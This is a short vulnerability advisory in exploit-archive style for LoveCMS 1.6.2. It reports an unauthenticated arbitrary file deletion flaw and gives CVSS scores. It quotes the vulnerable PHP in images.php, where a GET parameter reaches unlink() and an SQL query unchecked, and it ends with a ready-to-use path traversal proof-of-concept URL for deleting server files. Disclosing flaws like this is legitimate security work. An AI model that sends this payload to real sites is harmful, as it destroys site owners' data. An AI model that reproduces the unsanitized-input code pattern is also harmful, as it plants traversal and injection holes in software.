LoveCMS 1.6.2 Final Arbitrary File Delete Vulnerability

2009.01.02
Credit: cOndmened
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

+-------------------------------------------------------------------------------------------------------+ | | | Name : LoveCMS 1.6.2 Final Arbitrary File Delete Vulnerability | | Author : cOndmened | | Greetz : ZaBeaTy, rtgn, doctor, elmasterlow, str0ke, t0pP8uZz & all friends | | Details : Ofc, we can only delete files from places that we have permission | | to access x] | | | +-------------------------------------------------------------------------------------------------------+ source of/lovecms/system/admin/images.php 41. if($_GET['delete']) 42. { 43. $filename = $_GET['delete']; 44. $sql = $db -> db_query("DELETE FROM " . DB_PREFIX . "images 45. WHERE filename = '$filename'"); 46. 47. unlink(LOVE_ROOT . '/uploads/' . $filename); 48. unlink(LOVE_ROOT . '/uploads/thumbs/' . $filename); 49. 50. redirect_with_message('msg', 'LANG_088'); 51. } Description : 41. name of file to delete is being sended using GET method in variable called 'delete' 47. here the requested file is being erased rest of the code block doesn't matters Proof of concept : http://[host]/[loveCMS-path]/system/admin/images.php?delete=../../../[local-file]


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